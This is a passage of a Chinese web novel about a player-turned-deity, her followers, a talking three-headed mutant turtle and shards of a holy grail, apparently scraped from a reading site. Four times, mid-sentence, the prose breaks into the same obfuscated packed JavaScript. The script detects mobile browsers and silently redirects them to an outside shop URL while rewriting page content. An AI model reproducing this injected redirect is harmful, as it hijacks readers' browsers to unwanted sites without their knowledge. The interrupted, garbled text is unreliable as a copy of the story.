阿莉娅扔下枪口已经变形的KE-231，手在背后的空气中虚抓，凭空抓住一把暗红色的冲锋枪，看也没看，手指扣在扳机，火花喷吐，周围的一圈光头惨叫着倒下！ 然而倒下的一瞬间，他们也都完成了动作，数道红色激光从不同方向撕裂空气，齐齐射向阿莉娅！ 于此同时，胡天奎额头上的血洞已经扩张到两个拳头大，配上他僵硬的微笑显得愈发诡异。 黑色脓液在他脚下已经积蓄成了一方小水潭，他嘴唇动了几下，整个人像是融化的蜡像，身体渐渐扭曲，不断往下渗透着黑液。 不过数秒，胡天奎已经完全失去了人形，像是一坨黑色怪异的史莱姆，“唰唰”几声无差别地向所有人喷射水箭！ 老菜大步上前，一手抱住女童形态的猫胡子，一手握拳在空中猛甩，漫天黑灰色细砂纷扬而落，空间扭曲间，一行人的身影骤然消失！ 一道黑水箭擦着发丝砸在墙上，猫胡子被人抱在怀中，神情冰冷，幼童本就大的眼睛此时大的有些诡异，瞳孔收缩成“针”状，隐隐泛出银色，两个银色三角在头顶冒出，像耳朵，也像犄角。 那双非人的竖瞳冷冷地看向绅士会众人，无人能窥见的巨大黑色表盘浮现在他们脚下，银色指针疯狂颤抖，沿着逆时针方向倒转了七圈。 尖锐嘶哑的声音犹在耳畔回响，猫胡子勾起一边嘴角，脸上黑色纹身一般的线如胡须般抖了抖，她盯着和怪物没有区别的胡天奎，声音冰冷：“‘在地狱里等着我’？该下地狱的人是你！” “啊啊啊！” 几道激光即将射中阿莉娅时，女孩的身影凭空消失，激光“嗤”地一声射入地面，一道激光角度微偏，射在合金货架表面，反弹出去后竟直直穿过一个光头眉心！ 这只是混乱的一角，在接下来的七分钟里，如同命运女神对这群光头投下冷嘲的一眼，他们的攻击落空了倒还好，最诡异的是他们的攻击总能落在同伴身上！ 炸膛的机枪、扔出后落在自家人脚下的炸/弹、左脚拌右脚把自己脖子摔断的离奇死亡，在这七分钟里，二十几个装备精良，训练有素的光头大汉竟以各种可笑的方式死的七七八八！ 然而在场的没人能笑得出来。在后方给队友治疗的沈奚静都忍不住缩了缩脖子，嘟囔了一句，“怎么觉得团长的特质越来越吓人了。” 看不见，摸不着的【命运】，最能杀人于无形之中。在某种意义上，含有命运要素的特质，比起堕落种，更适合用来对付人类！ 连悄咪咪观战的都郁都被这搞笑戏剧一般的惨烈战斗现场惊了一下，视线不由落在猫胡子头上冒出的金属三角，总感觉形状很像猫耳呢…… “病猫发火起来也蛮吓人的嘛。” 那坨黑色半固体中部突然裂开一道缝隙，音色和胡天奎很像的人类声音从中传出，回忆时却只能在脑中找到一段“沙沙”的流水声。 “这东西怎么搞？” 老菜放下猫胡子，挠了挠胳膊上冒出的鸡皮疙瘩，拧眉盯着不知道还算不算胡天奎的东西。 刚刚除了猫胡子，她们也动手了，趁机干掉了一众光头会的喽啰，却唯独那这坨黑色半固体没辙。 枪械等物理攻击穿过后，脓液很快就自己蠕动着恢复；用异能攻击，它非但没有缩小，反而像是能从中吸收能量一般变高了些许。 闻人秋抬了抬眼镜，捡起光头们带着的吸尘器一样的仪器，眼里闪过一丝兴味，“这种仪器不知道用了什么材料，能够容纳黑死尸油而不被侵蚀。” “球球姐，战斗还没结束，先别研究了。” 团里的人都知道，闻人秋性格温和，极少生气。但是在遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482969|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到感兴趣的领域时，会像变了一个人似的，眼里只能看见研究对象。 闻人秋好脾气地放下仪器，看向乐飞游，解释了几句，“胡天奎的这个分身似乎和尸油融为一体了，也许能从这个仪器上面看出容纳尸油的办法。” “给你们一些时间倒是真的有可能，可惜，你们没有时间了。” 那坨黑色半固体的东西射出几道水箭后缩小了一半，此时面对众人的包围没有再攻击，反而阴笑了几声，“这里的神油浓度，已经高到了可以通过呼吸传播的程度了，你们一个都跑不了！” “呵呵，如果你们没有浪费时间杀我的下属，那你们说不定还能逃掉几个，可惜，现在已经太迟了！” 它言语里带了对猫胡子杀死下属的愤恨，可那道黑色固体伸出触须，卷起四周光头的尸体，“咔嚓咔嚓”吃了起来。 随着进食，它的身侧长出一双双惊愕、痛苦、愤怒的眼睛，阴恻恻地盯着众人，却没能在她们脸上看到自己想看见的表情。 即使是最冲动好懂的乐飞游，脸上都没有愤怒急躁，而是一种古怪的神情。似乎是想笑，但又强行压下去的样子？ 胡天奎化身的怪物心中的古怪感不断增长，在发现猫胡子对着空气鞠躬时达到了顶峰——为什么她们似乎一点都不怕它？ “感谢您的出手。” 猫胡子整理了一番凌乱的衣服，对着空气鞠了一躬，在心底默念祈祷词，视线落回怪物身上时，瞳孔中间多了一簇紫色的火！ 在它看到紫火的一瞬间，紫火也烧到了它的身上。宏大、冰冷、邪异、不可名状的气息萦绕在身周，不可逃避、不可抵抗，紫火烧过处一切都化为了虚无。 不、不该是这样的…… 内心的狂乱呐喊也一同被紫火焚烧殆尽，怪物体内属于胡天奎的意识里，能清晰地感知到与母体的链接正变得越来越微弱，直到——像一根吊着千钧重物的丝线，终于如释重负地崩断。 紫火遗憾地撤回，轰然四散，蝗虫过境般一丝不漏地烧过每一滴不断蠕动的黑色液体。与母体断联前的最后一瞬，它感知到的竟然是如释重负—— 母体竟然在害怕这紫火？不，这不符合…… 随着紫火的焚烧，黑色怪物不断萎缩，露出一个被腐蚀大半的头颅。胡天奎仅剩的一只眼死死瞪着猫胡子，恍然大悟、震惊、愤怒、惧怕……所有的复杂神情都融入黑水，被紫火燃烧殆尽，只剩一句不可思议到极致的尖叫： “你竟然与邪神做交易？！！” 猫胡子小心避让，眼神古怪地看着那道怪物化身被烧干净，一道吐槽不约而同地浮现在众人心里： 怎么，只许你跟邪神做交易，不许我们做吗？ 确认精神中那道宏大的意识已经离开，猫胡子带着下属清理完痕迹，跟着乐飞游前往临时驻扎点。 随着众人的离去，这间偏远的仓库终于又获得了宁静。 半小时后。 “咦。” 黑色尖头皮鞋碾了碾坑中的泥块，穿风衣的女人单手插兜，低头观察了片刻眼前的坑，冰冷的眼中浮现出惊讶： “我就去吃了一碗麻辣烫，你们这就死了？咋死的？” 尸体正常情况下都不会说话，更何况这里连尸体都没有。 女人琢磨了片刻，自言自语般喃喃： “死的这么干净，倒是不用我来洗地了……可能做到的那几位，此时应该都没机会出手才是……” 女人说着说着蹲下，风衣衣摆触及地面前飘起，她从风衣内侧的口袋里掏出一碗麻辣烫，对着胡天奎尸体留下来的坑，一边埋头吃一边思考。 吃到一半，她恍然大悟地抬起头，唇角一丝油渍都没有：“是佑时那疯女人提过的，新出现的邪神？” 女人说完，又不感兴趣地摇头，继续埋头吃麻辣烫，“伪神还好，邪神太难吃了，硬骨头还是交给佑时去啃吧。” …… “赞美您，伟大的聆听之主。赞美您的慷慨和仁慈。” 紫火烧尽最后一丝脓液，汇聚在一起，首尾相连变成一个火圈。猫胡子眼神复杂地将收集来的物资放进去，说出的祈祷词第一次有了些许真心。 这间地下诊所的地下室，像是被改造成了简易的病房，二十张床位全部占满，加上忙碌穿梭的几人，这就是曾经的下城三大探索队，猫胡子海盗团仅剩的团员了。 团里人最多时能到一百五……猫胡子痛苦地闭上眼，只觉心在痛地滴血，但想起正在举行的献祭，还是强打起精神睁开眼。 紫火绕着物资烧了一圈，猛地收缩，带着所有物资消失不见。 猫胡子心里松了一口气，神明似乎并没有注意到她的走神，亦或者说，神明并不在乎？ …… “芜湖！发财了！” 都郁兴奋地看着随着紫火一件件传输过来的物资，床垫、桌椅……以及最后一个精致的巴掌大的小盒。 她迫不及待地接过，嘴角笑容扩大：“升级祭坛的材料有了！” 29. 神柩 第二十九章 掀开盒盖，两枚暗红色的晶体静静地躺在垫布上，表面泛着莹润的光。 两枚昏级的要素核心！一枚是预支的出手费用，一枚是感谢都郁帮忙处理黑死尸油，加上拖延交物资的赔罪。 很显然，猫胡子是个非常上道的人，虽然都郁说了处理尸油不算出手次数，但她还是在抽出手后很有灵性地上供了两块。 三块要素核心、十个信徒，C级材料*5，祭坛升级的材料已经全部集齐，都郁将核心收到背包，在弹出的选项里选了是。 【叮咚~特殊建筑[祭坛]升级中，预计需要1h，消耗点数进行加速w】 【滴滴！建筑条件已解锁，特殊建筑[神柩]（唯一）已解锁，点击查看建筑条件w】 都郁目光落在新解锁的建筑上，好奇地点开。 【建筑：神柩】 【等级：昏（升级方向未解锁）】 【建造材料：昏级要素核心*1、A级木材*10、A级任意金属*5、狂信徒*1】 【说明：容纳神躯的装置，与特殊建筑[祭坛·昏]、神国建筑[神殿·昏]配套使用。神明滞留人间？那可不是个好的选择。飞升之前，请给身体一个家~】 【备注：命运的天平不断摇摆衡量，想要得到，必先失去；值得庆幸的是，你比其他人幸运，得到的要比失去的多得多。】 神躯？ 都郁摊开双手，即使被系统冠上了□□头，她也很确定，这就是一具普通的A级异能者的身体，和“神”扯不上关系。 视线停在“神明滞留人间，那可不是个好的选择”，都郁眸光沉沉，看了好久，指尖揉搓着虎口，开口看向不知为什么沉默的白鸽。 “我还有多长时间？” 这话有些没头没尾，但白鸽灰色的眼睛定定地看着都郁，凝视了三秒后给出了回答：“祭坛升级到【灯】之前。” 堕落物一共有六个等级，昏、烛、灯，以及被统称为“天灾”的三级…… 都郁扯了扯嘴角，“是必须在【灯】之前舍弃身躯，还是舍弃身躯后才能成为【灯】？” 白鸽“咕咕”叫着移开视线，不过没有回答有时也是一个回答。 看来，想成神，得先不做人。 都郁从胸腔里吐出一口浊气，眼底的复杂情绪缓缓消失，她在心里问系统： “你们会强迫我做出选择吗？” 【不会。】 两道重复的声音同时响起，六翼白鸽展翅，哗啦飞到都郁的肩膀，蹭了蹭她的脸颊，“游戏存在的唯一意义就是让玩家开心。166会永远支持玩家。” 都郁盯着鸽子灰色的眼睛看了许久，嗤笑一声，伸手捋顺它蹭的乱七糟八的羽毛。 “你们俩吃饱了没？” “吃饱了！” 田一诺烤肉烤的精神力耗尽了好几次，闻言如释重负地举手，脸被熏黑了好大一块。 “很好，出发。” 都郁愉快地忽视了一声弱弱的“没有”，揉了揉鸽子脑袋，给神界一百强单位聆听之主教会目前拥有的两位员工下达了今日工作任务： “出发，我们的目标是：让神殿附近，没有垃圾！” 田一诺非常给面子地鼓掌，知道下午才能有肉吃的小伊呆了一会儿，也跟着鼓起了掌。 都郁在热烈的掌声中一顿，看着台下的两人，不知为什么没有做老板剥削人的兴奋。 很快，她就知道了为什么—— 田一诺倒还好，虽然干的慢了一点，老是能捡到一些奇怪的东西——比如“不想再打工的旧键盘”、“喜欢唱歌的木头娃娃”外，还是非常有工作热情的。 至于小伊—— 都郁熟练地将三根木头合成为一单位E级木料，麻木地看着小伊捡石头捡着捡着开始发呆，然后梦游一样地平地摔，每次都能精准地摔进空间涟漪，倒地后和陌生的变异生物面面相觑，最后抢在对手之前把对方变成食材。 这一系列小连招非常丝滑。 都郁一看震惊，二看惊讶，三看无语。直到看着他再次平地摔，都郁满脸无奈，你是被幸运女神诅咒了吗？怎么能倒霉到这种份上？ 都郁收起木材，无语地看着小伊。他似乎这次摔懵了，手撑着地，低头看着地面，久久没有爬起来。 都郁叹了口气，正准备进空间涟漪捞他一把，神情突然一变。 迷雾裂隙中空间非常不稳定，方位失去了意义，时常会出现连接两片区域的临时通道，这种临时通道被迷雾猎人们称为“空间涟漪”。 通常情况来讲，空间涟漪的持续时间不定，最少能支持两次穿梭。涟漪两边的空间较为脆弱，无法支撑强大生物，一般来说涟漪两边的空间只会生存着B级以下的生物。 可这次—— 强大的威压从链接里传出，都郁恍然发现，小伊不是在盯着地面发呆，而是在看着脚下的强大生物！ 都郁还没见过有人能倒霉倒到这种程度，一个平地摔直接摔倒了怪物的头顶！ “小伊，你能解决吗？” 在这个距离下，都郁可以直接给信徒传输信息。虽然小伊的实力成谜，连A级变异生物都解决过，但眼前这生物，在她的感知中格外地不一样。 她甚至不敢直接开口，怕惊动了这怪物。 “……” 精神中传来一阵波动，都郁奇异地明白了小伊的意思，又是一阵无语，用精神力给他传话：“你放心，你要是能解决掉这怪物，食物管够。” 小伊慢悠悠站起，金眸沉寂，过长的刘海被都郁扎了一个滑稽的朝天啾，还穿着那身过于宽大的囚服，明明整个人看着非常不起眼，听到都郁的许诺后眼中多了些什么。 都郁略带惊讶地挑起眉，她非常熟悉这种东西——杀气。 跟个傻狗一样丢块肉就走的小伊还能有这东西？ 那怪物似乎终于后知后觉地发现了不速之客，小伊脚下的地面剧烈抖动，一头高，一头低，方圆一千平方米的土地竟像要直接翻转过来！ 背部的泥石如瀑布般倾泻而下，四肢力气，三颗头颅弹出，那赫然是一只三头巨龟！ 那乌龟不仅体型大，三双眼睛中浮现出与兽类不同的精明与残忍！ 感受着空间涟漪那端传来的气息，都郁眼神里传来一丝凝重，166躲在都郁身后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496311|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从她脖子后探头瞄了一眼，证实了都郁的猜测：“咕，是昏级的堕落种！” 堕落种与普通变异生物，或畸变生物，最大的区别在于是否领悟了【要素】。没有掌握要素，变异生物充其量也就是强大一点的动物，虽然强大，但可以用热武器杀死。 但领悟了【要素】之后，意味着动物也人类一样进入了超凡领域！虽然动物想要窥见超凡的难度比人类大得多，但一旦迈入那道门，它们就能成为抗衡A级异能者的强大超凡生物！ 人类虽然很容易领悟【要素】觉醒特质，但超凡之路的起点往往都是实力低下的E级，可能连普通野兽都打不过。 都郁从原身和原著中拼凑出堕落种的信息，忍不住跟166吐槽，“不是说越聪明的异能者实力提升越快吗，为什么在动物这里就反过来了？” “咕~不一定是反过来的。” 166看着巨龟的动静，又往都郁身后缩了缩，“对‘堕落’来说，理智低反而更容易哦。绝大多数变异生物的脑子都不允许它们理解【要素】，所以它们掌握的要素往往属于同一个上位要素。” 都郁想起图鉴点亮的第一个黑色图标，若有感悟：“是【侵蚀】的要素？” “没错的咕！还有其他【□□】麾下的要素，对这一类要素来说，不需要掌握，只需要遵从最原始的欲望，因为堕落是生物的本能。” “所以就将堕落种作为这一类生物的统称？” 166点点头，被巨龟突然的动作惊地猛缩到都郁身后。 都郁来不及吐槽它的怂，注意力转移到小伊和巨龟的战斗中。 那三头巨龟的三颗头颅，像是弹簧般拉伸到了极致，从不同的方位咬向背后的小伊！ 巨龟的壳像跷跷板般来回摆动，站在上面如同地震般难以站稳。小伊却像长在了上面一般，身形不动，眼见巨龟的尖颚狠狠合上，就要将他一口咬成两半！ 小伊金眸似乎暗淡了些许，身形变得虚幻，竟在巨龟的攻击下毫发无伤！ “呜呜——” 风声急促，幽怨似古战场中的妖精拜月、百鬼其哭，涟漪那边的光线骤然黯淡。 小伊身后拖出三道影子，在越来越凄切的风声中拉长，三道灿金色的身影逐渐凝视，似乎要在下一秒就要破开影子钻出世界！ 都郁眉头微压，仅从小伊现在的威压来看，就已经顶的上前世她见过的顶级A级异能者。166说过，小伊现在的状态不太对，像是处在封印中。 要是处在全盛状态，小伊该有多强？ 都郁双眼放光：保守了，她还是保守了！下属实力这么强大，应该给他派难度更高的任务，这样才能实现收益的最大化！ 166瞅了一眼都郁现在的表情，默默又缩了缩脖子，总感觉，玩家现在的状态，比那怪物还要可怕呢…… “不不不，别打了！我认输！” 都郁隔着空间涟漪都能感觉到小伊那招的威势，三头巨龟自然能感受得更清楚，三个伸出去咬小伊的头“嗖”得一声缩回，龟壳“轰”的一声如山砸落在地，竟用人类的语言叠声求饶： “别杀我别杀我，老龟的肉也不好吃哇！” 30. 变异三头龟 影子中逐渐凝聚的金光一顿，无形中凝聚的气势顿时消散，小伊愣了一下，抬起头，无措地看向都郁。 有理智的动物堕落种？这可不多见。 都郁也被这巨龟的求饶惊了一下，命令166看好空间涟漪，闪身窜进了对面，打量那巨大坚硬的乌龟壳，“给我一个不杀你的理由？” 巨龟似乎没想到还有一个人，龟壳左侧探出一个长条状的脑袋，灯笼大的眼珠子与都郁对视的瞬间，像是被烫到般瞬间闭上，脑袋“唰”地收回，看上去比刚刚还要慌张，龟壳都在抖。 “呜哇啊啊伟大的新神，请不要杀我，老龟我肉又老又不好吃……” 都郁微微眯起眼，看着眼前怂的恨不能找个地缝钻进去的巨龟，心里的戒备增到最大：“你能认出我的身份？” 目前祭坛对自己的改造应该还处在灵体阶段，这具身体除了过分健康外，与普通人的没有区别，这变异龟为什么看了自已一眼就能发现自己的身份？ “哇啊啊老龟绝对没有窥探女神大人的意思，我愿意将这将件宝物献给您！” 三头巨龟不知道误解了什么，龟壳颤抖愈发剧烈，抖得站在上面的小伊都嫌弃地跳了下来，一块暗金色的甲状物都抖了出来。 “咦？” 都郁看着那块约有一平方米大小的金属碎片，没有轻举妄动，眼里流露出些许惊奇。 那碎片散发着熟悉的气息，都郁第一时间想到了嗜血圣刀里的两块特殊材料，这还是头一回看见这么大的一片。 与之前得到的两片碎成小块的金属不同，这块金属面积大，整体弯曲似瓦状，像是什么东西的外壁部分，外侧隐隐有些没有被毁灭的花纹。 “这东西是你从哪里得到的？” 三头巨龟中间的头慢慢探出，心疼地看了眼地上的暗金色金属，小心地观察着这两个实力恐怖的人类有没有动手的倾向，声音瓮瓮低沉： “是老龟我，我捡来的……” 三头巨龟不动声色地退后几步，眼珠转了转： “上一次的方月，这里来了一群毛色奇怪的人类，他们在迷雾里四处乱逛，不知道为什么吵了起来，吵着吵着就打了起来，然后人类就爆炸了，老龟我去看的时候只剩下了这块铁坨坨了。” 人类爆炸？应该是那群人用了炸弹，这巨龟没有见过，误以为是人类自爆了，看来这块金属是那群人带进迷雾的了？ 都郁低头观察了一会金属碎片，突然觉得不对，抬头一看那巨龟脚下生风，柱子一样的四条腿跑得飞快还没有声音，只几秒的功夫已经溜了上百米。 都郁眼皮一跳，没用她吩咐，发现猎物逃跑的小伊眼里金光如燃烧般大盛，声音音色没变，却像换了个人似的，冷漠和肃杀紧紧包裹着那两个字： “失衡！” 那三头龟虽然身体庞大，但四肢移动非常灵活，听到那两个字后六只眼睛凶光大冒，扭头怒瞪两人，不过就是两个人类而已，有什么可怕的。 三头龟猛地刹住逃跑的步伐，皮肤表面冒出深黑色的竖刺，下颚张开，尖牙顶端渗出粉红色，猛地朝两人冲刺。 一阵风吹过，三头龟莫名打了喷嚏，脑中不属于自己的念头消散，龟身巨颤，回过神来就要扭头跑，四肢却像吃错了东西一样不听使唤，左右乱摆，巨大的龟身重重砸在地上。 “嗷呜呜别杀我别杀我，老龟的肉不好吃啊啊……” 逃跑失败，三头□□缩进壳里，又开始胡乱咧咧求饶，都郁摸摸耳垂，冷眼看着三头龟撒泼，待它不装了，才笑着开口： “我就当没听见你刚刚撒的慌吧——告诉我，你为什么想要这东西？” 不管这三头龟讲的故事是真是假，它对这金属片的垂涎是真的，不舍也是真的，刚刚在小伊能力的控制下，冲过来看的第一眼也是都郁脚下的碎片。 难道这三头龟知道这神秘金属片的用法？ 都郁眼中全是威胁，在她给小伊念到第七道龟肉菜的做法时，三头龟终于结束了装死，在龟壳里大喊： “别念了别念了，我说，我说！老龟也不知道这东西是啥，但是我知道，这是好东西，带着它能让我壳更厚，爪更利，逃跑的时候跑的更快……” 三头龟说着说着，声音中染上怨念。都郁没跟它计较，回想自己使用嗜血圣刀的场景，自己有变强吗？好像没有，倒是刀自己变得更强了…… “饿。” 小伊对那碎片不感兴趣，看着龟壳上的花纹发了会儿呆，熟悉的全身无力感爬了上来，他忍了一会，才想起现在有人答应过他，只要他干活就让他吃饱。 都郁回过神，边打开背包边漫不经心地瞅了小伊一眼，冷不丁被他变得透明的皮肤吓了一跳：“你这是怎么了？” “嗯？” 小伊看了看变得透明的手，想了想，慢吞吞的回答：“打乌龟，饿。吃不饱，会消失。” 眼见小伊快变成小鬼，都郁顾不得其他，一把抓住小伊的手，精神力在他体内探了一圈，结合他没头没尾的解释总算搞懂了他的状况。 早在他念完祈祷词变成都郁的信徒后，都郁就知道，眼前的小伊灵体不完整，用他的话说就是还有他在别的地方挨饿。因此，一旦使用能力后没有补充，精神力消耗太大，这具身体就会支撑不住。 他现在急需进食来补充能量。 想明白关窍，都郁迅速从包裹中取出准备好的食物，甚至连自己那份都填了进去，小伊还是喊饿。 都郁没办法，确认只要无毒他可以吃生肉后，将三人搜集物资时没来得及处理的变异兽肉掏了出来，将往食用方向合成的兽肉都塞给了小伊，他这次没喊饿。 都郁拉过他的手，确认这双手恢复了正常，虽然没什么温度，但好歹不是好像戳一下就能戳破般的透明皮肤了。 精神力不断流逝的痛苦终于减轻，身体总算不再沉重冰冷，小伊缓慢地低头，手指微蜷，瘦到骨节突出的手指下意识内笼，似乎想捉住缓缓消失的暖意。 “你能、不……您！您能再把三块肉变成一块吗？” 都郁还没来得及心疼消失的兽肉，三头□□颅全部弹出，六只眼睛热切地看着都郁，好像看着的不是人类，而是一百颗兽类核心。 反正这只龟也是要被灭口的，都郁狐疑地瞥了它一眼，随手捡起三块被系统标为“剧毒不可食用”的兽肉，合成出一瓶E级的“剧毒兽肉丸”。 普通合成竟然合成出道具了？ 都郁惊奇地收下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509358|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三头龟像是验证了什么，三颗头不停地上下摇晃，语气里竟然带了哭腔： “是进化，是进化的气息……！神明大人，请允许我追随您！” 主线人物正缺信徒，都郁疑惑地给出祈祷词，三头龟如获至宝，两颗头缩回，只留下中间一颗，双眼紧闭，浮出的竖刺消失，整只龟安详地趴在地上。 都郁竟然在一只变异鬼的脸上看出了虔诚！ “侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主！赞美您！赞美您的强大、厉害、威猛、呃、头发长、两只脚走路……” 三头龟念着念着突然卡壳，偷偷睁开眼打量都郁。 都郁快被它的祈祷词气笑了，怕它硬憋出更不着调的话，哭笑不得地打断它的祈祷：“行行行，别念了，你的赞美我都听到了。说说吧，你为什么不逃跑了。” 三头龟抻着脑袋想了半天，解释不上来，头冲金属碎片点了点，“嘿嘿，神明身上的气息，跟这铁坨坨一样，能让老龟壳变厚！跑得更快！用人类的话说，就是进化！” 进化……将三个材料合成出更高等级的材料，在生物的眼中，这确实和进化没有区别？她倒还没有试过，合成器可以合成活物吗？ 【当前内容未解锁，请玩家努力升级探索。】 系统的话冷不丁在耳边响起，都郁心口一寒，这合成游戏的画风，似乎越来越往诡异的方向靠拢了…… 都郁心中不断闪过对游戏的猜测，面上继续盘问这只古怪的变异龟。 “你似乎知道不少人类的东西？” 都郁早就怀疑这变异三头龟了，虽然它的发声器官可能变异得能说人话，但是如果教导，它一只变异龟怎么能学会人类的语言？ 变异龟眼珠转了转，习惯性想撒谎，想起眼前这位是怎么样的存在，老老实实低头道：“老龟也不知道怎么回事，好多好多天前，一块粉红色的肉从天上掉了下来，闻着特别香，我没忍住一口吃了下去。 “吃完后我就睡了一觉，醒来就变得像现在这么大。之后我偶尔遇见了几个人类，不仅能听懂他们的对话，还能听出他们在想什么——嘿嘿，您放心，您和那个男人的想法老龟我一个字都没听到！” 三头龟瞥了眼都郁的神色，继续往下讲：“之后遇到人类，我就喜欢凑过去听他们在讲什么，想什么，讲的和想的对不对得上。那天外面又出现了一批人类，我就好奇地爬了过去。” “我到的时候他们已经吵完了，只听见有个人类喊了一声''圣杯已毁''什么的，然后他们就打了起来。打起来的时候这块铁坨坨掉了出来，它闻起来和那块肉很像，等一个人类炸死了其他人类，我就把这铁坨坨带出来了。” “圣杯已碎？” 显然，三头龟现在说的才是实情。都郁思考这句话的含义，三头龟殷勤地给都郁捡来那块碎片，都郁抬手碰到它的一瞬，系统提示音响了起来。 【叮咚，检测到当前玩家[六星圣杯]收集度大于百分之十，[六星圣杯]收集进度条已解锁。】 【主线任务特殊道具[六星圣杯]收集进度为：12/99】 【提示：当收集进度大于等于百分之五十时，玩家可使用祭坛合成完整圣杯~】 31. 超凡之始 这东西竟然真的是【六星圣杯】的碎片？ 都郁惊讶了一瞬，但看着背包里突然增加的“【六星圣杯（破碎）】*10”，顿觉无语，怎么穿越了都还有集齐99枚碎片召唤神器的桥段？ 背包里只有刚得到的十片，显然，被都郁融到刀里的那两片也算在了收集进度里。 都郁用精神力戳了戳166，“合成那个啥圣杯之后我的刀还在吗？” 都郁非常喜欢嗜血圣刀的可成长属性，不是很想换掉。 【咕，谁说圣杯一定是个杯子呢？】 166站到巨龟的头顶，理直气壮地说道。 都郁眼角抽了抽，知道合成后刀还在，松了一口气，懒得和它掰扯。 又转头问了三头龟几句，见它说不出和圣杯相关的信息，又想着祭坛已经升级成功，吩咐了几句，都郁带着头上顶着166的小伊穿过空间涟漪。 空气中隐隐显现出的涟漪颤动了几下，与四处萦绕的淡淡灰雾融为一体。 庞大骇人的三头龟殷切点头，身影渐渐消失，露出寻常的堆叠废物。 都郁看着涟漪消失，心中陡然升起怀疑，之前两次就算了，这次小伊随便摔倒，就摔出了十片圣杯碎片，这世上真有如此凑巧的事？ 迷雾裂隙中空间毫无意义，都郁凭借意念中和神殿的感应确定方位，边赶路边在心里试探着问166。 【咕，这有什么奇怪的~】 166不以为然，六翼白鸽时时飞起，穿梭在灰色雾气中，偶尔能瞥见它头动了动，似乎吃了什么，传音不因距离而改变： 【杯中水倾倒，自往低处流。滴水汇成湖，湖乃杯中影。得到圣杯认可的人，手持碎片，其他无主碎片会自然地涌向你。】 难怪这无良小游戏合成东西的比例最低是三比一，合成这圣杯却只用一半多一点碎片。 都郁不由咂舌，突然明白为什么那佑时丢了一枚碎片，不顾陈星之在场也要回来取了。 圣杯碎片即使有一片，只要得到了圣杯的认可，就相当于得到了拿到圣杯的钥匙。 都郁想到这，突然好奇，“如果同时有两个圣杯认可的人，会怎么样？” 【咕，持杯人只有一个，圣杯自然也只会认可一个人。】 那我岂不是什么都不干就能集齐碎片了？ 都郁心中闪过一个念头，不知为什么，她总觉得集齐圣杯不会这么简单。 “咦，小……老板，我们到了！” 田一诺不由惊讶出声。她紧紧跟在都郁身后，谨慎地打量四周，却见三人不过左转了一步，原先遍地垃圾的空地中陡然浮现出熟悉的建筑，其中一座小院看上去与其他的并无分别。 都郁瞥了她一眼。虽然田一诺已经改了称呼，但遇事时下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547027|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识脱口而出的，还是“小姐”，等她改口，自己就莫名变成了“小老板”，听上去又变成打工的。 不过她也懒得去纠正，只在心里腹诽两句，快步走进破败古村，推开院门，一瞬之间景色大不相同。 帷幔飘扬，数根古朴立柱矗立，拱卫着中间的高台。台面上，一座圆坛中神秘诡异的紫火熊熊燃烧，在灰白两色的世界中支撑起明堂堂一片亮光。 都郁心绪涌动，面板上倒计时已经结束，冥冥中似乎有什么在指引，她踩上台阶，眼底悠悠倒影着灿紫色的火光。 六翼白鸽哗啦飞上天空，长鸣着盘旋数圈，身后两人疑惑地抬头，只有都郁听懂了那几声莫名神圣的鸽鸣的含义： 【超凡之始！】 都郁深吸一口气，心中浮现出明悟，火光在眸中明灭，五指微张，缓缓伸入火中。 那升腾跳跃，隐隐将周围空间都烧得扭曲的紫火，都郁手没有防护地探入其中，火焰却如温顺的幼犬，温柔地舔舐掌心。 都郁垂眸，只见火中手掌微蜷，一缕一缕紫火顺着手心脉络一路向前，直到涌入皮肤。都郁微微闭眼，那几缕紫火进入体内，像是掉进了油锅，嘭得开始爆燃，呼吸之间就已遍布全身，焚煮血液！ 都郁猛地痛哼出声，那紫火不似刚刚的温顺，她只觉自己像被丢进了岩浆里，恐怖的高温几乎在一瞬就焚毁了一切。 32. 脱蛹 第三十二章 